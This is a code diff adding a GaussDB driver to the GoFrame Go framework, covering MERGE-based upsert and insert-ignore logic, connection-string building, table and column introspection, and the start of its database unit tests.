||||
case gdb.Counter, *gdb.Counter:
|
||||
var counter gdb.Counter
|
||||
if c, ok := v.(gdb.Counter); ok {
|
||||
counter = c
|
||||
} else if c, ok := v.(*gdb.Counter); ok {
|
||||
counter = *c
|
||||
}
|
||||
operator := "+"
|
||||
columnVal := counter.Value
|
||||
if columnVal < 0 {
|
||||
operator = "-"
|
||||
columnVal = -columnVal
|
||||
}
|
||||
fieldWithChar := charL + counter.Field + charR
|
||||
// For UPDATE statement, use the data value instead of referencing another column
|
||||
if dataValue, ok := data[counter.Field]; ok {
|
||||
updateFields = append(updateFields, fmt.Sprintf("%s = $%d %s %v", keyWithChar, valueIndex, operator, columnVal))
|
||||
updateValues = append(updateValues, dataValue)
|
||||
valueIndex++
|
||||
} else {
|
||||
updateFields = append(updateFields, fmt.Sprintf("%s = %s %s %v", keyWithChar, fieldWithChar, operator, columnVal))
|
||||
}
|
||||
default:
|
||||
// Map value to another field name or use the value from data
|
||||
valueStr := gconv.String(updateValue)
|
||||
if dataValue, ok := data[valueStr]; ok {
|
||||
updateFields = append(updateFields, fmt.Sprintf("%s = $%d", keyWithChar, valueIndex))
|
||||
updateValues = append(updateValues, dataValue)
|
||||
valueIndex++
|
||||
} else {
|
||||
updateFields = append(updateFields, fmt.Sprintf("%s = $%d", keyWithChar, valueIndex))
|
||||
updateValues = append(updateValues, updateValue)
|
||||
valueIndex++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Build WHERE clause using OnConflict keys
|
||||
for _, conflictKey := range option.OnConflict {
|
||||
if dataValue, ok := data[conflictKey]; ok {
|
||||
keyWithChar := charL + conflictKey + charR
|
||||
whereFields = append(whereFields, fmt.Sprintf("%s = $%d", keyWithChar, valueIndex))
|
||||
whereValues = append(whereValues, dataValue)
|
||||
valueIndex++
|
||||
}
|
||||
}
|
||||
|
||||
if len(updateFields) > 0 && len(whereFields) > 0 {
|
||||
updateSQL := fmt.Sprintf("UPDATE %s SET %s WHERE %s",
|
||||
table,
|
||||
strings.Join(updateFields, ", "),
|
||||
strings.Join(whereFields, " AND "),
|
||||
)
|
||||
updateResult, updateErr := d.DoExec(ctx, link, updateSQL, append(updateValues, whereValues...)...)
|
||||
if updateErr != nil {
|
||||
return nil, updateErr
|
||||
}
|
||||
|
||||
affected, _ := updateResult.RowsAffected()
|
||||
if affected > 0 {
|
||||
// UPDATE successful
|
||||
totalAffected += affected
|
||||
continue
|
||||
}
|
||||
}
|
||||
|
||||
// If UPDATE affected 0 rows, do INSERT
|
||||
var (
|
||||
insertKeys []string
|
||||
insertHolders []string
|
||||
insertValues []any
|
||||
insertIndex = 1
|
||||
)
|
||||
for key, value := range data {
|
||||
keyWithChar := charL + key + charR
|
||||
insertKeys = append(insertKeys, keyWithChar)
|
||||
insertHolders = append(insertHolders, fmt.Sprintf("$%d", insertIndex))
|
||||
insertValues = append(insertValues, value)
|
||||
insertIndex++
|
||||
}
|
||||
|
||||
insertSQL := fmt.Sprintf("INSERT INTO %s (%s) VALUES (%s)",
|
||||
table,
|
||||
strings.Join(insertKeys, ", "),
|
||||
strings.Join(insertHolders, ", "),
|
||||
)
|
||||
insertResult, insertErr := d.DoExec(ctx, link, insertSQL, insertValues...)
|
||||
if insertErr != nil {
|
||||
// Ignore duplicate key errors (race condition: another transaction inserted between our UPDATE and INSERT)
|
||||
if strings.Contains(insertErr.Error(), "duplicate key") ||
|
||||
strings.Contains(insertErr.Error(), "unique constraint") {
|
||||
continue
|
||||
}
|
||||
return nil, insertErr
|
||||
}
|
||||
|
||||
affected, _ := insertResult.RowsAffected()
|
||||
totalAffected += affected
|
||||
}
|
||||
|
||||
batchResult.Result = &gdb.SqlResult{}
|
||||
batchResult.Affected = totalAffected
|
||||
return batchResult, nil
|
||||
}
|
||||
|
||||
// doMergeInsert implements MERGE-based insert operations for GaussDB.
|
||||
// When withUpdate is true, it performs upsert (insert or update).
|
||||
// When withUpdate is false, it performs insert ignore (insert only when no conflict).
|
||||
func (d *Driver) doMergeInsert(
|
||||
ctx context.Context,
|
||||
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption, withUpdate bool,
|
||||
) (result sql.Result, err error) {
|
||||
// For batch operations (multiple records), process each record individually
|
||||
if len(list) > 1 {
|
||||
var (
|
||||
batchResult = new(gdb.SqlResult)
|
||||
totalAffected int64
|
||||
)
|
||||
for _, record := range list {
|
||||
singleResult, singleErr := d.doMergeInsert(ctx, link, table, gdb.List{record}, option, withUpdate)
|
||||
if singleErr != nil {
|
||||
return nil, singleErr
|
||||
}
|
||||
if n, _ := singleResult.RowsAffected(); n > 0 {
|
||||
totalAffected += n
|
||||
}
|
||||
}
|
||||
batchResult.Result = &gdb.SqlResult{}
|
||||
batchResult.Affected = totalAffected
|
||||
return batchResult, nil
|
||||
}
|
||||
|
||||
// Check if OnDuplicateMap contains conflict keys
|
||||
// GaussDB MERGE statement cannot update columns used in ON clause
|
||||
// If user wants to update conflict keys, we need to use a different approach
|
||||
if withUpdate && len(option.OnDuplicateMap) > 0 && len(option.OnConflict) > 0 {
|
||||
conflictKeySet := gset.NewStrSetFrom(option.OnConflict)
|
||||
hasConflictKeyUpdate := false
|
||||
for updateKey := range option.OnDuplicateMap {
|
||||
if conflictKeySet.Contains(strings.ToLower(updateKey)) ||
|
||||
conflictKeySet.Contains(strings.ToUpper(updateKey)) ||
|
||||
conflictKeySet.Contains(updateKey) {
|
||||
hasConflictKeyUpdate = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if hasConflictKeyUpdate {
|
||||
// Use UPDATE + INSERT approach when conflict keys need to be updated
|
||||
return d.doUpdateThenInsert(ctx, link, table, list, option)
|
||||
}
|
||||
}
|
||||
|
||||
// If OnConflict is not specified, automatically get the primary key of the table
|
||||
conflictKeys := option.OnConflict
|
||||
if len(conflictKeys) == 0 {
|
||||
primaryKeys, err := d.Core.GetPrimaryKeys(ctx, table)
|
||||
if err != nil {
|
||||
return nil, gerror.WrapCode(
|
||||
gcode.CodeInternalError,
|
||||
err,
|
||||
`failed to get primary keys for table`,
|
||||
)
|
||||
}
|
||||
foundPrimaryKey := false
|
||||
for _, primaryKey := range primaryKeys {
|
||||
for dataKey := range list[0] {
|
||||
if strings.EqualFold(dataKey, primaryKey) {
|
||||
foundPrimaryKey = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if foundPrimaryKey {
|
||||
break
|
||||
}
|
||||
}
|
||||
if !foundPrimaryKey {
|
||||
// For InsertIgnore without primary key, try normal insert and ignore duplicate errors
|
||||
// For Save/Replace, primary key is required
|
||||
if !withUpdate {
|
||||
result, err := d.Core.DoInsert(ctx, link, table, list, option)
|
||||
if err != nil {
|
||||
// Ignore duplicate key errors for InsertIgnore
|
||||
if strings.Contains(err.Error(), "duplicate key") ||
|
||||
strings.Contains(err.Error(), "unique constraint") {
|
||||
return result, nil
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
return result, nil
|
||||
}
|
||||
return nil, gerror.NewCodef(
|
||||
gcode.CodeMissingParameter,
|
||||
`Replace/Save operation requires conflict detection: `+
|
||||
`either specify OnConflict() columns or ensure table '%s' has a primary key in the data`,
|
||||
table,
|
||||
)
|
||||
}
|
||||
// TODO consider composite primary keys.
|
||||
conflictKeys = primaryKeys
|
||||
}
|
||||
|
||||
var (
|
||||
one = list[0]
|
||||
oneLen = len(one)
|
||||
charL, charR = d.GetChars()
|
||||
conflictKeySet = gset.New(false)
|
||||
|
||||
// queryHolders: Handle data with Holder that need to be merged
|
||||
// queryValues: Handle data that need to be merged
|
||||
// insertKeys: Handle valid keys that need to be inserted
|
||||
// insertValues: Handle values that need to be inserted
|
||||
// updateValues: Handle values that need to be updated (only when withUpdate=true)
|
||||
queryHolders = make([]string, oneLen)
|
||||
queryValues = make([]any, oneLen)
|
||||
insertKeys = make([]string, oneLen)
|
||||
insertValues = make([]string, oneLen)
|
||||
updateValues []string
|
||||
)
|
||||
|
||||
// conflictKeys slice type conv to set type
|
||||
for _, conflictKey := range conflictKeys {
|
||||
conflictKeySet.Add(strings.ToUpper(conflictKey))
|
||||
}
|
||||
|
||||
index := 0
|
||||
for key, value := range one {
|
||||
keyWithChar := charL + key + charR
|
||||
queryHolders[index] = fmt.Sprintf("$%d AS %s", index+1, keyWithChar)
|
||||
queryValues[index] = value
|
||||
insertKeys[index] = keyWithChar
|
||||
insertValues[index] = fmt.Sprintf("T2.%s", keyWithChar)
|
||||
index++
|
||||
}
|
||||
|
||||
// Build updateValues only when withUpdate is true
|
||||
if withUpdate {
|
||||
// Check if OnDuplicateStr or OnDuplicateMap is specified for custom update logic
|
||||
if option.OnDuplicateStr != "" {
|
||||
// Parse OnDuplicateStr (e.g., "field1,field2" or "field1, field2")
|
||||
fields := gstr.SplitAndTrim(option.OnDuplicateStr, ",")
|
||||
for _, field := range fields {
|
||||
fieldWithChar := charL + field + charR
|
||||
updateValues = append(
|
||||
updateValues,
|
||||
fmt.Sprintf(`T1.%s = T2.%s`, fieldWithChar, fieldWithChar),
|
||||
)
|
||||
}
|
||||
} else if len(option.OnDuplicateMap) > 0 {
|
||||
// Use OnDuplicateMap for custom update mapping
|
||||
for updateKey, updateValue := range option.OnDuplicateMap {
|
||||
// Skip conflict keys - they cannot be updated in MERGE
|
||||
if conflictKeySet.Contains(strings.ToUpper(updateKey)) {
|
||||
continue
|
||||
}
|
||||
keyWithChar := charL + updateKey + charR
|
||||
switch v := updateValue.(type) {
|
||||
case gdb.Raw, *gdb.Raw:
|
||||
// Raw SQL expression
|
||||
// Replace EXCLUDED (PostgreSQL ON CONFLICT syntax) with T2 (MERGE syntax)
|
||||
rawStr := fmt.Sprintf("%v", v)
|
||||
rawStr = strings.ReplaceAll(rawStr, "EXCLUDED.", "T2.")
|
||||
rawStr = strings.ReplaceAll(rawStr, "EXCLUDED ", "T2 ")
|
||||
updateValues = append(
|
||||
updateValues,
|
||||
fmt.Sprintf(`T1.%s = %s`, keyWithChar, rawStr),
|
||||
)
|
||||
case gdb.Counter, *gdb.Counter:
|
||||
// Counter operation
|
||||
var counter gdb.Counter
|
||||
if c, ok := v.(gdb.Counter); ok {
|
||||
counter = c
|
||||
} else if c, ok := v.(*gdb.Counter); ok {
|
||||
counter = *c
|
||||
}
|
||||
operator := "+"
|
||||
columnVal := counter.Value
|
||||
if columnVal < 0 {
|
||||
operator = "-"
|
||||
columnVal = -columnVal
|
||||
}
|
||||
fieldWithChar := charL + counter.Field + charR
|
||||
updateValues = append(
|
||||
updateValues,
|
||||
fmt.Sprintf(`T1.%s = T2.%s %s %v`, keyWithChar, fieldWithChar, operator, columnVal),
|
||||
)
|
||||
default:
|
||||
// Map value to another field name
|
||||
valueStr := gconv.String(updateValue)
|
||||
valueWithChar := charL + valueStr + charR
|
||||
updateValues = append(
|
||||
updateValues,
|
||||
fmt.Sprintf(`T1.%s = T2.%s`, keyWithChar, valueWithChar),
|
||||
)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Default: update all fields except conflict keys and soft created fields
|
||||
for key := range one {
|
||||
if conflictKeySet.Contains(strings.ToUpper(key)) || d.Core.IsSoftCreatedFieldName(key) {
|
||||
continue
|
||||
}
|
||||
keyWithChar := charL + key + charR
|
||||
updateValues = append(
|
||||
updateValues,
|
||||
fmt.Sprintf(`T1.%s = T2.%s`, keyWithChar, keyWithChar),
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
batchResult = new(gdb.SqlResult)
|
||||
sqlStr string
|
||||
)
|
||||
|
||||
// For InsertIgnore (withUpdate=false), we need to check if record exists first
|
||||
if !withUpdate {
|
||||
// Build WHERE clause to check if record exists
|
||||
var whereConditions []string
|
||||
var checkValues []any
|
||||
checkIndex := 1
|
||||
for _, key := range conflictKeys {
|
||||
if value, ok := one[key]; ok {
|
||||
keyWithChar := charL + key + charR
|
||||
whereConditions = append(whereConditions, fmt.Sprintf("%s = $%d", keyWithChar, checkIndex))
|
||||
checkValues = append(checkValues, value)
|
||||
checkIndex++
|
||||
}
|
||||
}
|
||||
whereClause := strings.Join(whereConditions, " AND ")
|
||||
|
||||
// Check if record exists
|
||||
checkSQL := fmt.Sprintf("SELECT 1 FROM %s WHERE %s LIMIT 1", table, whereClause)
|
||||
checkResult, checkErr := d.DoQuery(ctx, link, checkSQL, checkValues...)
|
||||
if checkErr != nil {
|
||||
return nil, checkErr
|
||||
}
|
||||
|
||||
// If record exists, return result with 0 affected rows
|
||||
if len(checkResult) > 0 {
|
||||
batchResult.Result = &gdb.SqlResult{}
|
||||
batchResult.Affected = 0
|
||||
return batchResult, nil
|
||||
}
|
||||
|
||||
// Record doesn't exist, proceed with insert
|
||||
// For InsertIgnore, we just do a simple INSERT (no MERGE needed since we checked it doesn't exist)
|
||||
var insertSQL strings.Builder
|
||||
insertSQL.WriteString(fmt.Sprintf("INSERT INTO %s (", table))
|
||||
insertSQL.WriteString(strings.Join(insertKeys, ","))
|
||||
insertSQL.WriteString(") VALUES (")
|
||||
for i := range insertKeys {
|
||||
if i > 0 {
|
||||
insertSQL.WriteString(",")
|
||||
}
|
||||
insertSQL.WriteString(fmt.Sprintf("$%d", i+1))
|
||||
}
|
||||
insertSQL.WriteString(")")
|
||||
|
||||
r, err := d.DoExec(ctx, link, insertSQL.String(), queryValues...)
|
||||
if err != nil {
|
||||
return r, err
|
||||
}
|
||||
if n, err := r.RowsAffected(); err != nil {
|
||||
return r, err
|
||||
} else {
|
||||
batchResult.Result = r
|
||||
batchResult.Affected = n
|
||||
}
|
||||
return batchResult, nil
|
||||
}
|
||||
|
||||
// For Save/Replace (withUpdate=true), use MERGE
|
||||
sqlStr = parseSqlForMerge(table, queryHolders, insertKeys, insertValues, updateValues, conflictKeys, charL, charR)
|
||||
r, err := d.DoExec(ctx, link, sqlStr, queryValues...)
|
||||
if err != nil {
|
||||
return r, err
|
||||
}
|
||||
// GaussDB's MERGE statement may not return correct RowsAffected
|
||||
// Workaround: If RowsAffected returns 0 despite a successful MERGE, we manually set it to 1.
|
||||
if n, err := r.RowsAffected(); err != nil {
|
||||
return r, err
|
||||
} else {
|
||||
batchResult.Result = r
|
||||
// If RowsAffected returns 0, manually set to 1 for MERGE operations
|
||||
if n == 0 {
|
||||
batchResult.Affected = 1
|
||||
} else {
|
||||
batchResult.Affected += n
|
||||
}
|
||||
}
|
||||
return batchResult, nil
|
||||
}
|
||||
|
||||
// parseSqlForMerge generates MERGE statement for GaussDB.
|
||||
// When updateValues is empty, it only inserts (INSERT IGNORE behavior).
|
||||
// When updateValues is provided, it performs upsert (INSERT or UPDATE).
|
||||
// Examples:
|
||||
// - INSERT IGNORE: MERGE INTO table T1 USING (...) T2 ON (...) WHEN NOT MATCHED THEN INSERT(...) VALUES (...)
|
||||
// - UPSERT: MERGE INTO table T1 USING (...) T2 ON (...) WHEN NOT MATCHED THEN INSERT(...) VALUES (...) WHEN MATCHED THEN UPDATE SET ...
|
||||
func parseSqlForMerge(table string,
|
||||
queryHolders, insertKeys, insertValues, updateValues, duplicateKey []string, charL, charR string,
|
||||
) (sqlStr string) {
|
||||
var (
|
||||
intoStr = fmt.Sprintf("MERGE INTO %s AS T1", table)
|
||||
usingStr = fmt.Sprintf("USING (SELECT %s) AS T2", strings.Join(queryHolders, ","))
|
||||
onStr string
|
||||
insertStr = fmt.Sprintf(
|
||||
"WHEN NOT MATCHED THEN INSERT (%s) VALUES (%s)",
|
||||
strings.Join(insertKeys, ","),
|
||||
strings.Join(insertValues, ","),
|
||||
)
|
||||
updateStr string
|
||||
)
|
||||
|
||||
// Build ON condition
|
||||
var onConditions []string
|
||||
for _, key := range duplicateKey {
|
||||
keyWithChar := charL + key + charR
|
||||
onConditions = append(onConditions, fmt.Sprintf("T1.%s = T2.%s", keyWithChar, keyWithChar))
|
||||
}
|
||||
onStr = "ON (" + strings.Join(onConditions, " AND ") + ")"
|
||||
|
||||
// Build UPDATE clause only when updateValues is provided
|
||||
if len(updateValues) > 0 {
|
||||
updateStr = fmt.Sprintf(" WHEN MATCHED THEN UPDATE SET %s", strings.Join(updateValues, ","))
|
||||
}
|
||||
|
||||
sqlStr = fmt.Sprintf("%s %s %s %s%s", intoStr, usingStr, onStr, insertStr, updateStr)
|
||||
return
|
||||
}
|
||||
69
contrib/drivers/gaussdb/gaussdb_open.go
Normal file
69
contrib/drivers/gaussdb/gaussdb_open.go
Normal file
@ -0,0 +1,69 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/errors/gcode"
|
||||
"github.com/gogf/gf/v2/errors/gerror"
|
||||
"github.com/gogf/gf/v2/text/gstr"
|
||||
)
|
||||
|
||||
// Open creates and returns an underlying sql.DB object for pgsql.
|
||||
// https://pkg.go.dev/github.com/lib/pq
|
||||
func (d *Driver) Open(config *gdb.ConfigNode) (db *sql.DB, err error) {
|
||||
source, err := configNodeToSource(config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
underlyingDriverName := "postgres"
|
||||
if db, err = sql.Open(underlyingDriverName, source); err != nil {
|
||||
err = gerror.WrapCodef(
|
||||
gcode.CodeDbOperationError, err,
|
||||
`sql.Open failed for driver "%s" by source "%s"`, underlyingDriverName, source,
|
||||
)
|
||||
return nil, err
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func configNodeToSource(config *gdb.ConfigNode) (string, error) {
|
||||
var source string
|
||||
source = fmt.Sprintf(
|
||||
"user=%s password='%s' host=%s sslmode=disable",
|
||||
config.User, config.Pass, config.Host,
|
||||
)
|
||||
if config.Port != "" {
|
||||
source = fmt.Sprintf("%s port=%s", source, config.Port)
|
||||
}
|
||||
if config.Name != "" {
|
||||
source = fmt.Sprintf("%s dbname=%s", source, config.Name)
|
||||
}
|
||||
if config.Namespace != "" {
|
||||
source = fmt.Sprintf("%s search_path=%s", source, config.Namespace)
|
||||
}
|
||||
if config.Timezone != "" {
|
||||
source = fmt.Sprintf("%s timezone=%s", source, config.Timezone)
|
||||
}
|
||||
if config.Extra != "" {
|
||||
extraMap, err := gstr.Parse(config.Extra)
|
||||
if err != nil {
|
||||
return "", gerror.WrapCodef(
|
||||
gcode.CodeInvalidParameter,
|
||||
err,
|
||||
`invalid extra configuration: %s`, config.Extra,
|
||||
)
|
||||
}
|
||||
for k, v := range extraMap {
|
||||
source += fmt.Sprintf(` %s=%s`, k, v)
|
||||
}
|
||||
}
|
||||
return source, nil
|
||||
}
|
||||
12
contrib/drivers/gaussdb/gaussdb_order.go
Normal file
12
contrib/drivers/gaussdb/gaussdb_order.go
Normal file
@ -0,0 +1,12 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb
|
||||
|
||||
// OrderRandomFunction returns the SQL function for random ordering.
|
||||
func (d *Driver) OrderRandomFunction() string {
|
||||
return "RANDOM()"
|
||||
}
|
||||
24
contrib/drivers/gaussdb/gaussdb_result.go
Normal file
24
contrib/drivers/gaussdb/gaussdb_result.go
Normal file
@ -0,0 +1,24 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb
|
||||
|
||||
import "database/sql"
|
||||
|
||||
type Result struct {
|
||||
sql.Result
|
||||
affected int64
|
||||
lastInsertId int64
|
||||
lastInsertIdError error
|
||||
}
|
||||
|
||||
func (pgr Result) RowsAffected() (int64, error) {
|
||||
return pgr.affected, nil
|
||||
}
|
||||
|
||||
func (pgr Result) LastInsertId() (int64, error) {
|
||||
return pgr.lastInsertId, pgr.lastInsertIdError
|
||||
}
|
||||
108
contrib/drivers/gaussdb/gaussdb_table_fields.go
Normal file
108
contrib/drivers/gaussdb/gaussdb_table_fields.go
Normal file
@ -0,0 +1,108 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
)
|
||||
|
||||
var (
|
||||
tableFieldsSqlTmp = `
|
||||
SELECT
|
||||
a.attname AS field,
|
||||
t.typname AS type,
|
||||
a.attnotnull AS null,
|
||||
(CASE WHEN d.contype = 'p' THEN 'pri' WHEN d.contype = 'u' THEN 'uni' ELSE '' END) AS key,
|
||||
ic.column_default AS default_value,
|
||||
b.description AS comment,
|
||||
COALESCE(character_maximum_length, numeric_precision, -1) AS length,
|
||||
numeric_scale AS scale
|
||||
FROM pg_attribute a
|
||||
LEFT JOIN pg_class c ON a.attrelid = c.oid
|
||||
LEFT JOIN pg_constraint d ON d.conrelid = c.oid AND a.attnum = d.conkey[1]
|
||||
LEFT JOIN pg_description b ON a.attrelid = b.objoid AND a.attnum = b.objsubid
|
||||
LEFT JOIN pg_type t ON a.atttypid = t.oid
|
||||
LEFT JOIN information_schema.columns ic ON ic.column_name = a.attname AND ic.table_name = c.relname
|
||||
WHERE c.oid = '%s'::regclass
|
||||
AND a.attisdropped IS FALSE
|
||||
AND a.attnum > 0
|
||||
ORDER BY a.attnum`
|
||||
)
|
||||
|
||||
func init() {
|
||||
var err error
|
||||
tableFieldsSqlTmp, err = gdb.FormatMultiLineSqlToSingle(tableFieldsSqlTmp)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
// TableFields retrieves and returns the fields' information of specified table of current schema.
|
||||
func (d *Driver) TableFields(
|
||||
ctx context.Context, table string, schema ...string,
|
||||
) (fields map[string]*gdb.TableField, err error) {
|
||||
var (
|
||||
result gdb.Result
|
||||
link gdb.Link
|
||||
structureSql = fmt.Sprintf(tableFieldsSqlTmp, table)
|
||||
)
|
||||
// Schema parameter is not used for SlaveLink as it would attempt to switch database
|
||||
// In GaussDB/PostgreSQL, schema is handled via search_path or table qualification
|
||||
if link, err = d.SlaveLink(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
result, err = d.DoSelect(ctx, link, structureSql)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
fields = make(map[string]*gdb.TableField)
|
||||
var (
|
||||
index = 0
|
||||
name string
|
||||
ok bool
|
||||
existingField *gdb.TableField
|
||||
)
|
||||
for _, m := range result {
|
||||
name = m["field"].String()
|
||||
// Merge duplicated fields, especially for key constraints.
|
||||
// Priority: pri > uni > others
|
||||
if existingField, ok = fields[name]; ok {
|
||||
currentKey := m["key"].String()
|
||||
// Merge key information with priority: pri > uni
|
||||
if currentKey == "pri" || (currentKey == "uni" && existingField.Key != "pri") {
|
||||
existingField.Key = currentKey
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
var (
|
||||
fieldType string
|
||||
dataType = m["type"].String()
|
||||
dataLength = m["length"].Int()
|
||||
)
|
||||
if dataLength > 0 {
|
||||
fieldType = fmt.Sprintf("%s(%d)", dataType, dataLength)
|
||||
} else {
|
||||
fieldType = dataType
|
||||
}
|
||||
|
||||
fields[name] = &gdb.TableField{
|
||||
Index: index,
|
||||
Name: name,
|
||||
Type: fieldType,
|
||||
Null: !m["null"].Bool(),
|
||||
Key: m["key"].String(),
|
||||
Default: m["default_value"].Val(),
|
||||
Comment: m["comment"].String(),
|
||||
}
|
||||
index++
|
||||
}
|
||||
return fields, nil
|
||||
}
|
||||
103
contrib/drivers/gaussdb/gaussdb_tables.go
Normal file
103
contrib/drivers/gaussdb/gaussdb_tables.go
Normal file
@ -0,0 +1,103 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/text/gregex"
|
||||
"github.com/gogf/gf/v2/text/gstr"
|
||||
"github.com/gogf/gf/v2/util/gutil"
|
||||
)
|
||||
|
||||
var (
|
||||
tablesSqlTmp = `
|
||||
SELECT
|
||||
c.relname
|
||||
FROM
|
||||
pg_class c
|
||||
INNER JOIN pg_namespace n ON
|
||||
c.relnamespace = n.oid
|
||||
WHERE
|
||||
n.nspname = '%s'
|
||||
AND c.relkind IN ('r', 'p')
|
||||
%s
|
||||
ORDER BY
|
||||
c.relname
|
||||
`
|
||||
|
||||
versionRegex = regexp.MustCompile(`PostgreSQL (\d+\.\d+)`)
|
||||
)
|
||||
|
||||
func init() {
|
||||
var err error
|
||||
tablesSqlTmp, err = gdb.FormatMultiLineSqlToSingle(tablesSqlTmp)
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
// Tables retrieves and returns the tables of current schema.
|
||||
// It's mainly used in cli tool chain for automatically generating the models.
|
||||
func (d *Driver) Tables(ctx context.Context, schema ...string) (tables []string, err error) {
|
||||
var (
|
||||
result gdb.Result
|
||||
usedSchema = gutil.GetOrDefaultStr(d.GetConfig().Namespace, schema...)
|
||||
)
|
||||
if usedSchema == "" {
|
||||
usedSchema = defaultSchema
|
||||
}
|
||||
// DO NOT use `usedSchema` as parameter for function `SlaveLink`.
|
||||
// Schema is already handled in usedSchema variable above
|
||||
link, err := d.SlaveLink()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
useRelpartbound := ""
|
||||
if gstr.CompareVersion(d.version(ctx, link), "10") >= 0 {
|
||||
useRelpartbound = "AND c.relpartbound IS NULL"
|
||||
}
|
||||
|
||||
var query = fmt.Sprintf(
|
||||
tablesSqlTmp,
|
||||
usedSchema,
|
||||
useRelpartbound,
|
||||
)
|
||||
|
||||
query, _ = gregex.ReplaceString(`[\n\r\s]+`, " ", gstr.Trim(query))
|
||||
result, err = d.DoSelect(ctx, link, query)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, m := range result {
|
||||
for _, v := range m {
|
||||
tables = append(tables, v.String())
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// version checks and returns the database version.
|
||||
func (d *Driver) version(ctx context.Context, link gdb.Link) string {
|
||||
result, err := d.DoSelect(ctx, link, "SELECT version();")
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
if len(result) > 0 {
|
||||
if v, ok := result[0]["version"]; ok {
|
||||
matches := versionRegex.FindStringSubmatch(v.String())
|
||||
if len(matches) >= 2 {
|
||||
return matches[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
601
contrib/drivers/gaussdb/gaussdb_z_unit_db_test.go
Normal file
601
contrib/drivers/gaussdb/gaussdb_z_unit_db_test.go
Normal file
@ -0,0 +1,601 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb_test
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/os/gtime"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
)
|
||||
|
||||
func Test_DB_Query(t *testing.T) {
|
||||
table := createTable("name")
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
_, err := db.Query(ctx, fmt.Sprintf("select * from %s ", table))
|
||||
t.AssertNil(err)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_Exec(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
_, err := db.Exec(ctx, fmt.Sprintf("select * from %s ", table))
|
||||
t.AssertNil(err)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_DB_Insert(t *testing.T) {
|
||||
table := createTable()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
_, err := db.Insert(ctx, table, g.Map{
|
||||
"id": 1,
|
||||
"passport": "t1",
|
||||
"password": "25d55ad283aa400af464c76d713c07ad",
|
||||
"nickname": "T1",
|
||||
"create_time": gtime.Now().String(),
|
||||
})
|
||||
t.AssertNil(err)
|
||||
answer, err := db.GetAll(ctx, fmt.Sprintf("SELECT * FROM %s WHERE id=?", table), 1)
|
||||
t.AssertNil(err)
|
||||
t.Assert(len(answer), 1)
|
||||
t.Assert(answer[0]["passport"], "t1")
|
||||
t.Assert(answer[0]["password"], "25d55ad283aa400af464c76d713c07ad")
|
||||
t.Assert(answer[0]["nickname"], "T1")
|
||||
|
||||
// normal map
|
||||
result, err := db.Insert(ctx, table, g.Map{
|
||||
"id": "2",
|
||||
"passport": "t2",
|
||||
